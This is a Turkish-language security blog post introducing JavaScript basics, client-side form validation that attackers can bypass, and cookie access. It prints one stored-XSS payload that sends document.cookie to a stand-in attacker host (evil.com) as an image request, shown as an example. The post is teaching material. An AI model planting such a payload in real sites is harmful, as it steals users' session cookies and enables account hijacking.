Umut Tosun

I love low level stuffs and cyber security

Javascript

01 Dec 2017 » pentest

Javascript, websayfaları için kullanılan bir programlama dilidir. Client tarafında yorumlanır.

Javascript kullanılarak interaktif websayfaları yapılabilir.

Javascript‘in en büyük avantajı kullanıcı tarafında yorumlanıyor olmasıdır. Bu sayede sunucuya ekstra yük bindirmeden javascript komutları çalıştırabiliyoruz. Fakat bu güzelliğin tabiki de bir dezanvantajı var. Kullanıcı tarafında çalıştığı için bu komutların çalışması/doğru çalışması garanti değil. Kullanıcılar kolaylıkla javascript kodlarını engelleyerek sunucunun beklemediği sonuçlara sebep olabilir. Örneğin form kontrolünün javascript ile yapılıp, sunucu tarafında tekrardan kontrol edilmediğini varsayalım. Javascipt kodları kullanıcının tarayıcısında çalıştığından saldırgan bunu kolaylıkla değiştirebilir ve form üzerinden sunucunun beklemediği bir değer gönderebilir.

Şimdi nasıl kullanıldığına bakalım. (javascript i detaylı olarak buradan öğrenebilirsiniz.)

İlk önce javascript kodlarını nereye yazacağımızdan bahsedelim.

  • Javascript komutları <html> tagları arasında <script> tagları kullanılarak istenilen yere yazılabilir.
  • Harici “.js” dosyalarımızı <script src=”harici.js”></script> tag i ile çağırabiliriz.
  • Elemanların onclick gibi özelliklerinin içine: <button onclick=”alert(1)”></button>

Genelde büyük sitelerde javascript’in <body> tag ının en altına yazıldığını görürüz. Bunun sebebi html yorumlanan bir dil olduğundan ilk önce sayfanın içeriğinin yüklenmesinin istenmesidir.

Şimdi örneklere geçelim.

Javascript ile bir html elemanına erişim id değeri ile oluyor, yani javascript ile bir eleman üzerinde herhangi bir işlem yapacaksak o elemanın id değeri önceden verilmiş olması gerekiyor. Bu elemanlara erişmek için ise document.getElementById() fonksiyonunu kullanıyoruz.

&lt;p id="test"&gt;Deneme&lt;/p&gt;

&lt;script&gt;
document.getElementById("test").innerHTML = "Yazı değişti";
&lt;/script&gt;

Örnek: Form Kontrol Uygulaması

Genellikle websiteleri formları sunucuya göndermeden önce bir ön kontrolden geçirirler. Bu kontrol javascript ile yapıldığından güvenilmemesi gerektiğini unutmayalım.

&lt;script&gt;
function validateForm() {
&#09;var x = document.forms["myForm"]["fname"].value;
&#09;if (x == "") {
&#09;&#09;alert("Name must be filled out");
&#09;return false;
&#09;}
} 
&lt;/script&gt;


 &lt;form name="myForm" action="/action_page.php" onsubmit="return validateForm()" method="post"&gt;
Name: &lt;input type="text" name="fname"&gt;
&lt;input type="submit" value="Submit"&gt;
&lt;/form&gt; 

validateForm fonksiyonu formdaki name inputunu okuyarak boş olup olmadığını kontrol ediyor ve boşsa false değerini döndürerek formun gönderilmesini engelliyor. (Daha detaylı bilgi için w3schools a bakabilirsiniz.)

Örneğimizde name inputunun sadece boş kontrolü yapıldı. Fakat daha gelişmiş javascript kontrollerinde uzunluk, girilen karakter gibi kontrollerde yapılıyor. Eğer sunucu tarafında ekstradan bu kontroller yapılmazsa saldırgan proxy kullanarak araya girip javascript kodlarını değiştirip bu kontrolleri bypass edebilir. Sunucu böyle bir input beklemeyeceği için düzgün yanıt veremeyebilir/bütün sistem ele geçirilebilir.

Cookie’lere Ulaşma

Javascript ayrıca cookielere ulaşıp, değiştirebilmemize olanak sağlıyor.

“document.cookie” ile cookie lere ulaşabiliriz.

Javascript ile cookie lere erişmenin güzel bir şey olabileceğinin yanı sıra aslında çok büyük bir risk arz ediyor. Web uygulamalarında sıklıkla karşılaşılan XSS zafiyeti(bknz. Owasp Top 10 XSS) yardımı ile saldırgan session hijacking yapabilir. Buda bütün uygulamayı riske sokabilir.

Örneğin saldırgan uygulama üzerinde stored xss zafiyeti olduğunu keşfetti ve şu şekilde bir xss payloadını gönderdi.

&lt;script&gt;
document.write('&lt;img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" /&gt;')
&lt;/script&gt;

Kurban bu websayfasını görüntülediğinde kullanıcının cookie leri saldırganın sunucusuna gidiyor.

Bu tür saldırıları önlemek için bu yazıma bakabilirsiniz.

Related Posts